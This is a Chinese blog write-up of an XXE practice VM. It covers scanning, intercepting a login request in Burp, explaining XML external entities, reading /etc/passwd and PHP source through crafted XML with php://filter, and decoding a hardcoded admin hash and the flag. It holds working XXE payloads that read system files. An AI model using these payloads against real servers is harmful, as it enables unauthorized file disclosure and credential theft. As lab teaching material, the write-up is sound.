XXE靶机详解

tech2025-10-05  1

常规思路:先扫描端口,扫描目录

这里有点迷惑了,我用nessus扫了一遍扫出来两个开放端口:80和5335,。但是用nmap只扫描出来了一个80 端口 不知道是什么原因,有懂的大佬可以解释一下 不管了,根据后面的结果来看端口多一个少一个完全不影响 照例访问80: 没啥用,apache默认页面 端口5335访问不了

接下来扫目录,御剑和dirb都可以,看用什么系统了 index.html依然是apache的默认界面 robots.txt: xxe是目录,admin.php是页面,但是直接访问xxe路径也是可以的

xxe: xxe登录框,弱密码尝试失败。想了一想这不是废话吗,要是弱密码登录上去的话这靶机也太弱智了。 直接burp抓包看看请求包:

看看post的数据,这不就是xml标签吗? 知道了为什么要叫xxe靶机

看了好多xxe靶机通关的文章没人写为什么可以实现文件读取,我还是打算简单写一下,一来方便自己以后看,二来对还没有接触过xxe漏洞的朋友来说也比较友好

xxe的基本概念: 首先要明白,xml是具有存储功能的,而且当我们输入一个错误的用户名的时候,错误信息就会在name标签那里展现出来,如下图: 这是为什么呢?这里就涉及到xml的特性了,我们先来看看xml的文本结构:

<?xml version="1.0" encoding="UTF-8"?>

这部分是xml声明

<!DOCTYPE 文件名 [ <!ENTITY实体名 "实体内容"> ]>

这部分是xml的定义文档类型的DTD

<元素名称 category=“属性”> 文本或其他元素 </元素名称>

这部分是文档元素

这三块上下连在一起就构成了xml文本的整体结构。

这里的漏洞就出现在DTD中,在xml中,可以在DTD中定义应用外部DTD以供xml来解析,其本意是为了方便在各个文档中创建共享的公共引用(这一点与文件包含有异曲同工之妙)。而且,在引用外部实体之后,xml会自动将引用的外部实体内容体现在xml正文中(注意正文中引用的test的格式一定要写对,前面&后面;)。如果我们可以随意修改引用的外部实体,就有可能造成任意文件读取。

举例:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY test SYSTEM "file:///etc/passwd"> ]> <name>&test;</name>

上面的代码中,xml外部实体test被赋值为/etc/passwd,跟文章上面说的一样,xml读取的时候会直接将被读取的/etc/passwd内容显示在页面上 要注意在name标签里面的格式一定要正确,前面加&后面加; 而且都要注意是英文。

了解了上述思路之后,再看burp拦截出来的包就很简单了: 直接写一段xml通过报错读到/etc/passwd 前面还有个admin.php没有看到,可以读一下php的源码 用php://filter/read=convert.base64-encode/resource=admin.php 来获取base64编码之后的网页源码 解码:

<?php session_start(); ?> <html lang = "en"> <head> <title>admin</title> <link href = "css/bootstrap.min.css" rel = "stylesheet"> <style> body { padding-top: 40px; padding-bottom: 40px; background-color: #ADABAB; } .form-signin { max-width: 330px; padding: 15px; margin: 0 auto; color: #017572; } .form-signin .form-signin-heading, .form-signin .checkbox { margin-bottom: 10px; } .form-signin .checkbox { font-weight: normal; } .form-signin .form-control { position: relative; height: auto; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; padding: 10px; font-size: 16px; } .form-signin .form-control:focus { z-index: 2; } .form-signin input[type="email"] { margin-bottom: -1px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; border-color:#017572; } .form-signin input[type="password"] { margin-bottom: 10px; border-top-left-radius: 0; border-top-right-radius: 0; border-color:#017572; } h2{ text-align: center; color: #017572; } </style> </head> <body> <h2>Enter Username and Password</h2> <div class = "container form-signin"> <?php $msg = ''; if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) { if ($_POST['username'] == 'administhebest' && md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') { $_SESSION['valid'] = true; $_SESSION['timeout'] = time(); $_SESSION['username'] = 'administhebest'; echo "You have entered valid use name and password <br />"; $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>"; echo $flag; }else { $msg = 'Maybe Later'; } } ?> </div> <!-- W00t/W00t --> <div class = "container"> <form class = "form-signin" role = "form" action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method = "post"> <h4 class = "form-signin-heading"><?php echo $msg; ?></h4> <input type = "text" class = "form-control" name = "username" required autofocus></br> <input type = "password" class = "form-control" name = "password" required> <button class = "btn btn-lg btn-primary btn-block" type = "submit" name = "login">Login</button> </form> Click here to clean <a href = "adminlog.php" tite = "Logout">Session. </div> </body> </html>

可以看到用户名密码就在源码中: 这是MD5继续解码:

登录xxe那个登录框不行

继续登录/xxe/admin.php的登录框,输入用户名密码回车之后出现了一个flag按钮 很兴奋,一点进去结果啥也没有

这时候就要想一想了,既然上一步已经说flag在这个页面了,那为啥没有呢。所以可以继续读flagmeout的PHP页面

可以看到下图编码,先解码再说 先base64解码: 再base32解码再base64解码: 个人觉得解码这一块设计的太多了,我不是来打xxe靶机的吗 这个路径的flag.php还是个隐藏文件,真狠

然后继续读/etc/.flag.php 返回出来的结果很眼熟,是php变形的webshell,但是这个webshell没有添加php头。 要想知道文件内容也很简单,浏览器可以访问并识别php文件,linux也自带php识别功能。但是要记着写这个php文件的时候要添加<?php ?>

用vim的时候命令模式下$光标切换到末尾加 ?> 哦~

完了看一下效果 成功了成功了

最新回复(0)